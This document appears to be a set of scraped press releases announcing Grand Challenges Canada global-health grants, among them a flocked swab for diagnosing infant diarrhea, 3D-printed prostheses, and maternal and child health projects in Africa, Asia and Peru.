Further analysis two years after the vaccine introduction shows a 32% decrease in all-cause infant diarrhea mortality, and a 26% decrease in all-cause infant diarrhea hospitalizations.

* Simple new device helps save kids *

Resembling an oversized Q-tip® but with a furry 3.2-cm (1.25-inch) tip of nylon fibers attached perpendicularly to the end of a plastic stem, the flocked swab designed in Canada for this new diagnostic purpose and manufactured by Copan Italia, began with a proof-of-concept grant in 2011 from Grand Challenges Canada. (Download photo at http://bit.ly/1KcKAB5; credit: David Goldfarb, Jeff Pernica; video (2011): http://bit.ly/1Ag6KPn)

Unlike cotton swabs common in many homes, the flocked swab is like a soft brush with no absorbent core so the entire biological sample stays close to the surface, facilitating diagnostic tests. (Download photo at: http://bit.ly/1bWwIMt, credit: Copan Italia)

Produced at scale, a swab costs as little as 25 cents.

In a study, published in November in the Journal of Clinical Microbiology, the innovators showed that a specimen obtained using the specially-designed flocked swab was 16% more likely than matched stool samples to reveal two leading, treatable bacterial pathogens causing diarrhea – Shigella and Campylobacter.

The flocked swab, the researchers add, will benefit health care systems worldwide but especially in low-resource settings where incorrectly and ineffectively treated diarrheal disease wastes precious medical resources.

The device will be used in Canada for the first time in the Gastroenteritis Surveillance Project in Nunavut, where acute gastrointestinal infections are at least two to four times higher than other Canadian regions.

Says Dr. Pernica: “Stool collection and transport generally would be unfeasible in such a setting. Flocked swabs, therefore, will be crucial to enabling this surveillance. Enrolment has begun in five communities and is planned for seven remote communities in all across the territory.”

* Celebration: Grand Challenges Canada turns five *

The Flocked Swab is one of 20 innovations being showcased at a Grand Challenges Canada 5th anniversary event: “Celebrating Legacy, Celebrating Partnerships & Results, Celebrating the Future,” (Royal York Hotel, Toronto, Thursday 28 May, 6 – 9 pm).

The May 28 event will feature presentations by innovators in mental health, early childhood development, maternal, newborn and child health and many other areas.

GCC is funded by the Canadian government, which has designated maternal newborn and child health as the nation’s top international development priority.

Says Dr. Singer: “Thanks to the Government of Canada’s support, we have grown to an organization that has supported this and roughly 700 other innovations in 70 countries, all helping to reinforce Canada’s leadership in the area of global health.”

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For more information, visit grandchallenges.ca and look for us on Facebook, Twitter, YouTube and LinkedIn.

About Grand Challenges Canada

Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact® in global health. We are funded by the Government of Canada and we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation to find sustainable solutions to health challenges – we call this Integrated Innovation®. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges in its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and the Department of Foreign Affairs, Trade and Development Canada (DFATD) to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives.

http://www.grandchallenges.ca

 

Example coverage by:

Toronto StarNew swab could curb deadly diarrhea problem, click here

United Press International, USA,  New swab reveals treatable infection in one third of babies, click here

Agencia EFE, Spain, Bastoncillo médico reducirá mortalidad infantil por diarrea, click here

Hamilton Spectator, Canada  Mac researchers develop diarrhea diagnostic technique; Taking samples with ‘flocked swab’ could save kids’ lives, click here

EuropaPress newswire, Spain, Un tercio de bebés con diarrea severa tiene una infección tratable sin diagnosticar, click here

Africa Science News Service, Kenya, New medical tool to save infants, children, click here

Xinhua, China, Diagnostic tool unveiled to boost war against cholera in Africa, click here

BBC World Service to Africa

South Africa Broadcasting Corp., Channel Africa

Coverage summary in full, click here

News release in full: click here

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Think Outside the Xbox: Gaming Technologies + 3D Printing Leveraged to Help Amputees https://terrycollinsassociates.com/thinking-outside-the-xbox-gaming-technologies-plus-3d-printing-leveraged-to-help-fit-african-child-amputees-with-artificial-legs/ Fri, 19 Dec 2014 15:36:56 +0000 https://terrycollinsassociates.com/thinking-outside-the-xbox-gaming-technologies-plus-3d-printing-leveraged-to-help-fit-african-child-amputees-with-artificial-legs/ Grand Challenges Canada, Toronto

19-Dec-2014

Canada Funds 23 Bold New Ideas for Global Health

Nikolai Dechev
Nikolai Dechev

Ultra high-speed gaming laptops and a sensor that lets computer gamers battle foes in the virtual world proved early stepping stones on the path to a quick, inexpensive way to create fittings for artificial legs needed by child amputees in the developing world.

And, with a new grant from Grand Challenges Canada, funded by the Government of Canada, scientists will field test their innovation at a children’s hospital in Uganda early next year.

The $112,000 CAD grant to Christian Blind Mission (cbm Canada) of Stouffville, near Toronto, Ontario, is one of 23 announced today under the Grand Challenges Canada Stars in Global Health program, which supports unique, transformative ideas for addressing health challenges in developing regions.

In all, almost $2.6 million CAD in funding will support projects based in 10 countries and implemented in 17 countries. Each of the innovators will receive a grant of $112,000 CAD to develop their innovations. If their ideas prove effective, the innovators will be eligible for additional Grand Challenges Canada scale-up funding of $1 million CAD.

Building on extensive research and development led by Dr. Matt Ratto at the University of Toronto, the cbm Canada project uses a 3D printer to make a precision-fitted plastic socket to connect a child’s residual limb and a standard artificial leg provided by aid agencies.

Step one requires a precise digital image of a child’s limb: early efforts involved a $200 Xbox scanner accessory used in computer gaming, which follows a player’s physical movements to put him or her in the action. Now, a next-generation “Sense” scanner, rotated in an arc around the leg stump for 45 seconds, is used that, in tandem with inexpensive Skanect software, recreates the residual limb virtually.

The next breakthrough was enabled when Dr. Ryan Schmidt of Autodesk Research enhanced a software program he created (while he was a University of Toronto student) called Meshmixer. His adaptation enabled project leaders to create the socket virtually and quickly, using the powerful graphics card in a high-end portable gaming laptop. A 3D printer then produces the custom-fitted socket using about $3 of cornstarch-based PLA plastic.

Since the entire process requires under six hours, the prosthetic sockets can be replaced easily and cheaply as a child amputee quickly grows. By comparison, producing a socket in Uganda today currently involves five to six labour-intensive days and the use of plaster of Paris molds dried in the sun, often resulting in ill-fitting sockets, the discomfort of which discourages their use.

Under the management of Mitch Wilkie, Director of International Programs, and Emily Kere, Senior International Programs Officer, both at cbm Canada, the project team will experiment with both plastic materials and techniques for 3D printing the wall of the socket to provide the greatest strength and durability with the least weight and material.

They will also evaluate the potential use of Canadian custom-made 3D printers that may be better purposed for this application in the developing world. Most importantly, the team will incorporate good development principles by ensuring disability inclusion, gender equity and environmental sustainability within the project’s scope.

$200 hand prostheses for amputees in Guatemala

Meanwhile, another $112,000 CAD grant to the University of Victoria in British Columbia will also exploit the potential of 3D printing, producing fully functional artificial hand prostheses for amputees in Guatemala for just $200 each, including material and fabrication costs.

The project is based on a prosthesis design developed 15 years ago by innovator Nikolai Dechev, which recently became financially viable with the advent of high-quality, inexpensive 3D printers.

Presently, state-of-the-art, functional artificial hands cost $12,000 (for basic models) to $70,000 (for the most technically advanced models). In this work, body-powered (cable-driven) prostheses of similar functionality can now be 3D printed in plastic in 20 hours.

Tests will be conducted next summer at a clinic in Guatemala with a small number of existing artificial hand users before being expanded by the end of 2015 to a larger group of amputees inexperienced with the appliance.

“I thank the Government of Canada for its commitment to innovation and development in global health,” said Dr. Peter A. Singer, Chief Executive Officer of Grand Challenges Canada. “With this support, Grand Challenges Canada is able to identify and nurture bold ideas from talented innovators, making the developing world a healthier and safer place.”

The full list of grantees includes:

  • University of Saskatchewan, Saskatoon, Canada: Selenium Fortified Table Salt to Treat Arsenic Poisoning in Bangladesh (http://bit.ly/1ukQOlm)
  • University of Saskatchewan, Saskatoon, Canada: Modular Biomaterial Technology for Water Security and Health in Developing Nations (http://bit.ly/1yPUHFh)
  • Ryerson University, Toronto, Canada: Adaptive Design International: constructing a global social network for creating low-cost custom adaptations for children with disabilities (http://bit.ly/1wy0JLK)
  • University of Waterloo, Waterloo, Canada: Delivering Clean Potable Water Using Smart Nano Materials Derived from Sustainable Resources (http://bit.ly/12tM46L)
  • University of Victoria, Victoria, Canada: 3D Printing and Deployment of Upper-Limb Prostheses in Developing Countries (http://bit.ly/12tM46K)
  • University of Toronto, Toronto, Canada: A safe, affordable and re-usable women’s personal hygiene kit that empowers women to be the decision-makers regarding menstrual hygiene management, reproduction and the prevention of HIV in low-resource settings (Kenya) (http://bit.ly/1yPUK3V)
  • The University of Western Ontario, London, Canada: Community REcovery Achieved Through Entrepreneurism (CREATE): A new paradigm for recovery from serious mental illness in low-resource settings (Kenya) (http://bit.ly/1vOPZH5)
  • PathCore Inc., Toronto, Canada: Training and Diagnostic Tools for Reducing the Cancer Burden in Nigeria (http://bit.ly/12tM6LH)
  • Christian Blind Mission International, Toronto, Canada: 3D PrintAbility: Leveraging 3D Printing Technology for Prosthetics Production in Developing Countries (Uganda) (http://bit.ly/1wy0LDu)
  • ChipCare Corporation, Canada: Combining a unique diagnostic platform for decentralized blood testing with a two-way communications network for data capture, and the training and supervision of community-level health workers (Kenya) (http://bit.ly/1ukQLGk)
  • International Centre for Diarrhoeal Disease Research, Bangladesh:Evaluation of electronic nose as the point of care test for tuberculosis diagnosis among slum dwellers of Dhaka City, Bangladesh (http://bit.ly/1vOQ25R)
  • Vía Cocina Food Train, Colombia: Behaviour change solutions to non-communicable disease challenges: empowering low-income Colombians to commercialize and consume healthy products via social enterprise micro franchising (http://bit.ly/1yPUHFg)
  • Egerton University, Kenya: Mycotoxins Under Arrest: Healthy Synergy of Drying and Storage Devices (http://bit.ly/1yPUK3W)
  • Impact Capital Advisors Limited, Kenya: Building a scalable franchise of affordable, safe and stimulating daycares serving vulnerable pre-school children and mothers in Nairobi’s slums (http://bit.ly/1yPUK3X)
  • Moi University, Kenya: Development of a Community-Embedded Family Therapy Intervention in Kenya: A faith- and village-based approach (http://bit.ly/1ukQLGl)
  • Edon Consultants International Limited, Kenya: Happy Smiles-Healthy Bones: tackling bone deformation due to high-fluoride water (http://bit.ly/1wy0LDt)
  • Dignitas International, Malawi: Disrupting Vertical Health Systems: Moving to integrated care for HIV and non-communicable diseases (http://bit.ly/1ukQOlp)
  • Eco Med LLC, Mongolia: Immunotherapy of atherosclerosis (http://bit.ly/1vOPZH7)
  • African Centre for Innovation and Leadership Development, Nigeria: E-vouchers for veggies: reducing nutrition-related non-communicable diseases (NCDs) through video games and storytelling to promote behaviour change (http://bit.ly/1wy0JLL)
  • The University of Agriculture, Pakistan: Rhizosphere engineering through biostimulation of Quorum quenching bacteria for controlling bacterial diseases in vegetables (http://bit.ly/1vOPZH6)
  • The Education Enrichment Foundation, Pakistan: Mobile Payment-Enabled Health Insurance (http://bit.ly/1yPUK3T)
  • Ifakara Health Institute, Tanzania: Fighting insect-borne diseases and enriching urban agricultural land by using molasses: a common by-product from sugar factories (http://bit.ly/1ukQOln)
  • National Science and Technology Development Agency, Thailand: Ultrathin, Light-Weight and Disposable Nanofibrous Filters for Tuberculosis Prevention (http://bit.ly/1wy0Jvx).

For more information, visit grandchallenges.ca and look for us on Facebook, Twitter, YouTube and LinkedIn.

About Grand Challenges Canada
Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact® in global health. We are funded by the Government of Canada; we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation to find sustainable solutions to health challenges — we call this Integrated Innovation®. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges through its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and the Department of Foreign Affairs, Trade and Development Canada (DFATD) to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives.
www.grandchallenges.ca

News release in full, click here

Example coverage by

Global News,Canada, click here

The Province, Vancouver, click here

Daily Mail Online, India edition, United Kingdom, click here

The Hindu, India, click here

The Standard, Kenya, click here

Agencia EFE, Spain, via Yahoo!, click here

Entorno Inteligente, Venezuela, click here

模具联盟网, China, click here

Coverage summary, click here

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Canada funds 22 innovative projects to help save ‘Every Woman, Every Child’ https://terrycollinsassociates.com/canada-funds-22-innovative-projects-to-help-save-every-woman-every-child/ Mon, 22 Sep 2014 17:45:24 +0000 https://terrycollinsassociates.com/canada-funds-22-innovative-projects-to-help-save-every-woman-every-child/ Grand Challenges Canada, Toronto

22-Sep-2014

Combining Mobile Phones with 3-D Printed Microscope Adapters to Diagnose Infectious Diseases
Combining Mobile Phones with 3-D Printed Microscope Adapters to Diagnose Infectious Diseases

On the eve of United Nations General Assembly events focussed on ways to save and improve the lives of mothers, newborns and children, Grand Challenges Canada, funded by the Government of Canada, today announced $2.4 million in grants for 22 bold ideas to address this challenge.

The novel approaches include:

  • A program for Bangladeshi mothers working in garment factories to express, pasteurize and store breast milk — thereby improving infant nutrition, reducing absenteeism due to child illnesses, and lowering baby formula expense
  • Using a 3D printer in Uganda to produce a low-cost plastic case that, together with a microscope, enables the use of mobile phone cameras for medical lab microphotography, the images read by remote experts if and as required for more accurate malaria diagnosis
  • A new hand-pump device in Peru to help struggling newborns take a first breath
  • A low-cost, portable system for diagnosing child pneumonia in high-altitude Peru
  • A program to train traditional midwives in the Peruvian Amazon to use smart phones to collect information from pregnant women and to schedule antenatal care delivered by medical river ships
  • A snack produced from rice bran waste in the Philippines to combat child iron deficiency
  • Using chicken feathers in Tanzania to make a universally-affordable, effective mosquito net
  • A technique for safely storing vaccines at room temperature — considered a holy grail of global health — by applying a novel polymer coating
  • A portable ultrasound imaging device to help medical professionals oversee childbirths in remote areas via cellular telecommunications.

Seed funding of $112,000 is offered to each of eight projects based in Canada (Edmonton, Hamilton, Toronto and Sudbury) that will be implemented in the developing world, and to 11 projects from innovators based in low- and middle-income countries (Bangladesh, India, Kenya, Tanzania and Uganda). Also announced today; the first three award nominees of 22 projects based in Peru that are funded with Peru’s National Council for Science, Technology, & Technological Innovation (CONCYTEC) under a collaboration announced January 6.

The funding announcement comes as world leaders prepare for the annual United Nations General Assembly where, this year, women’s and children’s health will be at the heart of discussions. In September 2010, UN Secretary-General Ban Ki-moon launched ‘Every Woman, Every Child,’ an unprecedented global movement that aims to save the lives of millions of women and children by 2015.

Through the “Muskoka Initiative” agreed at the G8 meeting in 2010, Canada assumed a leading role in promoting the health of women and children in developing countries. In May of this year, Prime Minister Stephen Harper convened ‘Saving Every Woman Every Child: Within Arm’s Reach’, a high-level summit on maternal, newborn and child health, where Canada has committed another $3.5 billion for 2015 – 2020 towards its top development priority: saving the lives of millions of mothers and children. Prime Minister Harper will also be addressing the United Nations General Assembly.

“Under Canada’s leadership, many more women are surviving pregnancy and childbirth, and millions more children are celebrating their fifth birthday,” said the Honourable Christian Paradis, Minister of International Development and La Francophonie.

“Canada has led efforts to provide developing countries with proven, inexpensive and reliable approaches, such as improving nutrition and access to immunization, so that the poorest and most vulnerable no longer suffer deaths that are easily prevented.”

Said Dr. Gisella Orjeda, President of CONCYTEC: “We are excited to see that our partnership with Grand Challenges Canada to support global health innovators in Peru is helping to improve the health of women and children in Peru through the implementation of bold ideas.”

Dr. Peter A. Singer, Chief Executive Officer at Grand Challenges Canada, noted: “More and more children can celebrate their fifth birthday as a result of Canada’s commitment and leadership. Through supporting these innovative projects, and by working in partnership with the Government of Peru, we are further strengthening the global pipeline of maternal, newborn and child health innovations.”

Local project contacts : http://bit.ly/1p5XHEm

IMAGE: During the first 60 seconds of life, neonatal resuscitation procedures are highly effective in reducing complications and increasing survival of newborn babies. However, an additional intervention may be needed when…

Click here for more information.

CANADIAN-BASED PROJECTS

A new rice bran snack to combat iron deficiency in children
Impact Centre, Toronto (Implementation: Philippines) (#0622-01-10)

Is there a chance kids could snack their way to good health? This project is developing snacks fortified with iron-rich rice bran, an abundant by-product of rice processing typically discarded, burned, fed to animals or turned into cooking oil. The project will engage local expertise in food and chemistry, and capitalize on the “culture of snacking” in the Philippines, a country where iron deficiency affects 70% of children, leading to anemia and other debilitating conditions.

Video: http://youtu.be/kt7JcHcueNw / Images: http://bit.ly/1nyK1Cs / Website: http://bit.ly/ZmbxxL

Stable vaccines without refrigeration
McMaster University, Hamilton (Implementation: India) (#0627-01-10)

Stable vaccines without refrigeration is a holy grail of medical science. In resource-poor locations, vaccine refrigeration is difficult and expensive, contributing to 2.5 million deaths each year that could be prevented with diphtheria, tetanus, measles and other immunizations. Innovators behind this project have found that entrapping vaccines with a polymer allows vaccine viruses to be kept stable at room temperature for months. The polymer, pullulan, is a safe, food-grade polysaccharide (used in Listerine breath strips) with a unique ability to provide a good oxygen barrier while readily dissolving in water. The project will evaluate the technology’s potential use in stabilizing a wide range of vaccines and develop a package for transporting dry, pullulan-coated vaccine and sterile water. At the point of use, the vaccine will be dissolved in water within a sterile package before injection. The approach is easily scalable, as all the materials needed are available at industrial scale.

Video: http://youtu.be/tz6L_ymfFZM / Images: http://bit.ly/1u43EIu / Website: http://bit.ly/1AP8xWd

Disinfecting harvested rainwater with the sun
University of Toronto (Implementation: Bangladesh) (#0634-01-10)

In coastal Bangladesh, as in many other places, rainwater is collected from rooftops and stored in large cisterns for use during the dry season (four to six months). It is often contaminated during collection and microbes proliferate during storage, causing health problems for millions. This Enhanced Solar Disinfection (eSODIS) project combines interventions in a novel way to minimize microbial growth during storage using sunlight, as well as treating the water using a small “just-in-time” solar-activated disinfection/dispensing module. Longer-term, the method may also offer a low-cost way to treat water that is contaminated with arsenic and select pesticides, both challenges that affect millions more in the developing world.

Video: http://youtu.be/J7p1YJB5LQY / Website: http://bit.ly/1qCFmFD

A quick water test to help conquer deadly diseases
University of Toronto (Implementation: Canada, Philippines) (#0636-01-10)

This project in the Philippines is developing a biosensor system for the rapid and accurate identification of Cryptosporidium microbes in water, a cause of diarrhea that leads to half of all deaths of children under five. Working closely with the Puerto Princesa Water District, provincial health offices and non-profit organizations, the project will help oversee the manufacture and distribution of the Cryptosporidium screening systems, and conduct training to ensure their effective deployment, with aims of introducing the systems in other Asian countries.

Video: http://youtu.be/eJXvEO2s9js / Images: http://bit.ly/1nyAVWq / Website: http://bit.ly/1D9pFtF

Water purifier powers itself
H2O4ALL, Toronto (Implementation: Uganda) (#0620-01-10)

A groundbreaking water purification device that powers itself by producing electricity from any source of flowing water has been created through a partnership between H2O4ALL and Formarum, a Canadian engineering company. Based on conventional copper-silver ionization, the technology needs no external power source and can automatically adjust the disinfection rate required – both features being of great importance in regions lacking reliable electricity sources and technical expertise. The technology can also develop economic growth within communities by creating power for other essential needs.

Video: http://youtu.be/eBN67GITp0I / Images: http://bit.ly/1wfYlba / Website: http://bit.ly/XlNehT

Kenya’s CeraMaji water filter uses clay and sawdust, sugar cane
ICChange, Edmonton (Implementation: Kenya) (#0623-01-10)

For many people in rural Kenya, purifying water by boiling it is prohibitively expensive and is limited by the availability of raw materials. Innovators behind this project have developed the CeraMaji Ceramic water filter that uses clay and sawdust or sugar cane to remove 99.97% of Giardia and coliform bacteria from local stream water. The CeraMaji filters will be manufactured at a large, new factory in Kenya.

Video: http://youtu.be/aH4egN1_70g / Images: http://bit.ly/1nyATxQ / Website: http://bit.ly/X4M61G

Maternal tele-ultrasounds in rural Philippines
Sonola Inc. with Impact Centre, Toronto (Implementation: Philippines) (#0621-01-10)

In the Philippines, some 44% of mothers give birth without a doctor. In this project, an affordable ultrasonic obstetric care solution will be developed to improve maternal healthcare for the rural Philippines. In partnership with the Provincial Health Office of Palawan, nurses and midwives will be trained to use portable ultrasound devices to screen for obstetric complications, and get access to medical professionals when diagnostic information is transmitted through cellular telecommunications.

Video: http://youtu.be/PEh9v3MmfjU / Images: http://bit.ly/1nyAVWp / Website: http://bit.ly/1sUSrK5

Destroying the eggs of disease-spreading mosquitoes in Guatemala’s jungles
Laurentian University, Sudbury (Implementation: Guatemala) (#0624-01-10)

This project will empower indigenous people in Sayaxche, Guatemala with knowledge and tools to use a modified “ovitrap” (http://en.wikipedia.org/wiki/Ovitrap) that effectively destroys mosquito eggs, thereby reducing malaria, dengue fever and other diseases. In a pilot study last year in Mexico that used only 50 modified ovitraps, more than 350,000 mosquito eggs were destroyed during one year, representing a reduction of 70-80% of mosquito eggs compared to unmodified traps.

Video: http://youtu.be/qT3UJzaE0Zg / Images: http://bit.ly/1nyAVWs / Website: http://bit.ly/1APdzSt

PROJECTS FROM LOW- AND MIDDLE-INCOME COUNTRIES

AFRICA

Using chicken feathers to make mosquito nets
Ifakara Health Institute, Tanzania (implementation: Tanzania) (#0681-01-10)

This innovative project combines two facts of life in Tanzania: the abundance of unused chicken feathers (a waste by-product of food production and not typically recycled) and the prevalence of malaria, a major health burden. Mosquito nets have proven effective against malaria transmission, but are not readily accessible and affordable to every family. The innovators will recycle chicken feathers from markets and people’s homes to produce mosquito nets from keratin fibers (found in hair). Keratin fibers are lightweight and strong, and resistant to mechanical and thermal stress, features that will make these novel nets far more durable and reusable. This approach will not only contribute to malaria control, but will have a positive impact on the environment and create many business opportunities.

Video: http://youtu.be/pD9Qf5Bea60 / Images: http://bit.ly/1u43CQY / Website: http://bit.ly/1DbTj1s

Integrating biolarvicides with fertilizer in rice fields to control malaria vectors
Catholic University of Health & Allied Sciences, Tanzania (Implementation:Tanzania) (#0677-01-10)

The majority of all 243 million reported cases of malaria worldwide occur in children under five in Africa. While effective treatment has lowered the mortality rate, current malaria interventions are unlikely to halt the actual transmission of the disease, showing the need for supplementary intervention measures. This project aims to introduce biolarvicides in rice farming practices in rural Tanzania, as an innovative approach in malaria control. By offering larvicides in the form of pellets that can be mixed with fertilizers, local skills are put to use, creating a double impact: the reduction of malaria transmission and increased rice yields. The integrated application of biolarvicides is a safe, effective and environmentally sustainable component of a successfully integrated vector management strategy.

Video: http://youtu.be/KBGfkccs0VU / Website: http://bit.ly/1tXcZ6g

Treating water bodies to control mosquito larvae with the help of Pastoralists
Ifakara Health Institute, Tanzania (Implementation: Tanzania) (#0678-01-10)

Malaria is responsible for 21,000 deaths in Tanzania each year. In the dry season, controlling mosquito larvae (which live in water) is not workable because water bodies are hard to locate. Pastoralists (nomads who raise livestock on natural pasture) know where these water bodies are, since they rely on them to water their cattle. Ifakara Health Institute will recruit pastoralists to find and then treat mosquito breeding sites with the eco-friendly and human-safe insecticide pyriproxyfen (PPF). Livestock nutrient supplements will be an added incentive to pastoralists. This social innovation of integrating pastoralists into a malaria control strategy will enable the efficient treatment of larval hotspots in rural Africa, while improving livestock health and the economic situation of pastoralist tribes.

Video: http://youtu.be/nN48eys6GTE / Website: http://bit.ly/1uPeccY

Baited traps to control houseflies and reduce diarrhea in urban slums and rural areas
Ifakara Health Institute, Tanzania (Implementation: Tanzania) (#0680-01-10)

Diarrhea is a leading cause of death among children in most low-income countries. Outbreaks of diarrhea are closely related to an abundance of houseflies and research has shown that control of houseflies may have a substantial impact on diarrhea incidences. Innovators at Ifakara Health Institute will introduce a baited fly-trap as a sustainable and effective tool to reduce the transmission of related infections by controlling houseflies in slums and rural areas. The traps will be combined with increasing community awareness of houseflies to optimally locate fly-traps. To self-sustain, the fly-trap boxes will show paid ads by mobile phone companies.

Video: http://youtu.be/17JyBWoU9IE / Website: http://bit.ly/1uPeocn

Subscription-based delivery of improved sanitation to low-income households
MSABI, Tanzania (Implementation: Tanzania) (#0682-01-10)

According to the World Health Organization (WHO), 2.6 billion people in the world do not have access to improved sanitation, resulting in 1.6 million deaths every year. The vast majority of that burden is borne by children under five. Affordability is considered a major barrier. A high-quality and environmentally safe toilet will be delivered and maintained for a nominal fee and a regular premium. Customers can pay the premium through mobile money solutions, thus making the service available to users without access to conventional banking systems. This integrated approach combines a personalized and affordable waste collection service with an attractive, comfortable and safe hardware product, and novel financing solutions as an added bonus.

Video: http://youtu.be/765tFEoM4n4 / Images: http://bit.ly/1nyAVWr / Website: http://bit.ly/1qFVpCs

Combining mobile phones with microscope adapters to diagnose infectious diseases remotely
Makerere University, Uganda (Implementation: Uganda) (#0684-01-10)

Misdiagnosis of diseases due to the lack of microscopical examination capacity has taken its toll: high mortality rates, drug resistance, economic burden and distrust in local medical practitioners. While microscopes are available to most clinics, there is a lack of trained lab technicians who can process the images. Leveraging recent advances in mobile phone camera-based microscopy, automated lab testing to be carried out with existing microscopes and ubiquitous smartphones would be available. Using 3D printers to produce a hardware adapter for virtually any model of smartphone will enable clinics to easily capture and transmit images using a mobile phone and available microscopes. The appropriate software would automate diagnostic tasks (not focusing on a single pathology), leading to either a local automated diagnosis (lab-on-the-phone) or the transmission of images to a central server where a human expert would review the data.

Video: http://youtu.be/nrcCR-NFCJ0 / Images: http://bit.ly/1nyATxR / Website: http://bit.ly/1q8EFxB

IMAGE: This is the logo of Grand Challenges Canada.

Click here for more information.

Peepoo: a biodegradable toilet turning human waste into valuable fertiliser
Peepoople, Kenya (Implementation: Kenya) (#0659-01-10-01-10)

Poor sanitation poses a major health threat. Human excreta released into the environment without treatment causes illness and death. Every 15 seconds, a child dies due to contaminated water from human feces, with the situation being the worst in urban slums. Peepoople is rethinking sanitation with the design of a personal, self-sanitising and fully biodegradable toilet that prevents feces from contaminating the immediate area, as well as the surrounding ecosystem. After use, Peepoo turns human waste into valuable fertiliser that can improve livelihoods and increase food security. This ecological and economically sustainable toilet will be available for those who need it the most and who can least afford it.

Video: http://youtu.be/CJeFzdlKkbc / Images: http://bit.ly/1nyATxO / Website: http://bit.ly/ZneOg5

ASIA

Mothers’ milk pasteurization for Bangladesh garment workers
ICDDR,B, Bangladesh (Implementation: Bangladesh) (Grant # 0612-01-10)

Mothers working in Bangladesh garment factories will receive access to breast pumps and a low-cost way to extend the shelf life of expressed breast milk. The technique uses an alternative heating medium, minimizing the amount of water and energy normally needed for pasteurization but effectively killing bacteria and viruses while leaving nutrient content largely intact and extending shelf life. The results offer major benefits for the workers, their babies and employers alike, among them improved infant nutrition, reduced absenteeism due to child illnesses and less expense for baby formula. Using existing factory clinics to promote long-term sustainability, the project can be scaled up in Bangladesh and other low- and middle-income countries.

Video: http://youtu.be/2eOknFLRtVg / Images: http://bit.ly/1u43CQZ / Website: http://bit.ly/1uEacNi

Counselling moms on infant feeding, psychosocial stimulation in Bangladeshi slums
ICDDR,B, Bangladesh (Implementation: Bangladesh) (Grant # 0610-01-10)

A combination of poverty, malnutrition, illness and a lack of stimulation at home puts at risk the cognitive development of millions of children in the developing world. Operating in an urban slum of Bangladesh, women trained within this project will make 13 home visits in a child’s first year of life to counsel parents on infant feeding and psychosocial stimulation – an integrated, sustainable, cost-effective approach potentially able to be implemented through the existing health system in Bangladesh. In the scale-up phase, the project will promote integrating such counselling into mainstream government nutrition programs provided through newly-established community clinics.

Video: http://youtu.be/-QuIxHL7RJ8 / Images: http://bit.ly/1nyATxM / Website: http://bit.ly/1BGWFIb

School health centers in urban India
AddressHealth Solutions India Pvt Ltd. (Implementation: India) (#0646-01-10)

In urban India today, AddressHealth offers primary and first-contact medical care, dental treatment, vision services, health education, nutrition, psychosocial health and chronic disease interventions to 40,000 urban children through its chain of integrated clinics and comprehensive school programs, with a goal of reaching one million children in low-income schools by 2019. The onsite program in schools is delivered by nurses, supported by a multidisciplinary child health team and a technology platform that includes televideo links and electronic school health records. In urban India, 40% of children are undernourished;15 % are overweight; 20% have vision issues (half of which go uncorrected); one in eight have psychosocial issues (almost all of which go unaddressed), while 50% have dental caries.

Video: http://youtu.be/DU-ZnHrIu9Q / Images: http://bit.ly/1nyATxS / Website: http://bit.ly/1ph4KKE

Worms help revolutionize sanitation in India
Primove Infrastructure Development Consultants, India (Implementation: India) (#0652-01-10)

A new technology, proven in the lab and now in field tests in rural India, uses composting worms to degrade fecal solids and a filtration system to treat the liquid effluent. The technology takes half the space of a twin pit latrine, treats fecal waste effectively, requires less frequent emptying and costs about the same to install. The new system links to a pour-flush toilet with a water seal, thus providing a hygienic environment, free of smells and flies.

Video: http://youtu.be/UBiIxVEY3Ns / Images: http://bit.ly/1u43EIs / Website: http://bit.ly/1oRhwQV

PERU

A maternal and newborn health program for remote communities in the Amazon
Universidad Peruana Cayetano Heredia, Peru (Implementation: Peru) (#0674-01-10)

Traditionally, hard-to-reach rural areas show increased maternal and child mortality. In Peru, rural villages of the Amazon basin have the worst health indicators in the country and many are only accessible by medical river vessels. The under-five and maternal mortality rates are well above the national average. The Mama River Program, a maternal and newborn program for remote riverine areas in the Peruvian Amazon, wants to change this. The program will train traditional midwives to use smartphones (widely available in Peru) to collect information from pregnant women at their communities and to schedule antenatal care visits by the medical ship staff. It will alert the medical vessel whenever a high-risk pregnancy is identified and send reports when a birth or death occurs, making civil registration and administrative follow-up more effective.

Video: http://youtu.be/4dTpugju9Rs / Website: http://bit.ly/1uEb58A

FIRST BREATH – A portable device to help breathing during the first seconds of life
Instituto Nacional de Salud, Peru (Implementation: Peru) (#0690-01-10)

During the first 60 seconds of life, neonatal resuscitation procedures are highly effective in reducing complications and increasing survival of newborn babies. However, an additional intervention may be needed when neonates can use a little help with their first breath, often requiring a ventilation device. Such a device is harder to find in low- and middle-income countries. The solution is a manual and portable device for initial respiratory support that allows positive pressure ventilation, acting as a respiratory trigger to improve chances for spontaneous breathing. The device employs a bellows mechanism, a valve and a connector, and will be available for different neonatal size groups. Local production will be encouraged to create business opportunities and it is intended to be available at a cost of at least ten times less than standard devices.

Video: http://youtu.be/waj3PgSnTXo / Website: http://bit.ly/1oRiDjr

The Highapp: Improving pneumonia diagnosis among children living at high altitudes
Instituto Nacional de Salud, Peru (Implementation: Peru)

Every year, pneumonia kills 2.5 million children under five, most of them in developing countries. Peru in particular has above-average mortality numbers. Standard pneumonia diagnosis is based on respiratory rate (RR) or Oxygen Saturation (Sa02). However, the reference values established at sea level cannot be used at high altitudes, which is a problem in the Andean Region where a large number of people reside 1,500 meters above sea level or more. Recognizing the need to improve diagnostic accuracy and prognosis of pneumonia in children under five years in the Andean region, this novel project will determine clinical reference values for pneumonia diagnosis at different higher altitudes. A mobile app integrating a score with appropriate reference values to each altitudinal level will help guide community health workers in the evaluation of children.

Video: http://youtu.be/M5_S_xTIIyk / Website: http://bit.ly/1wxfdKE

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About Grand Challenges Canada

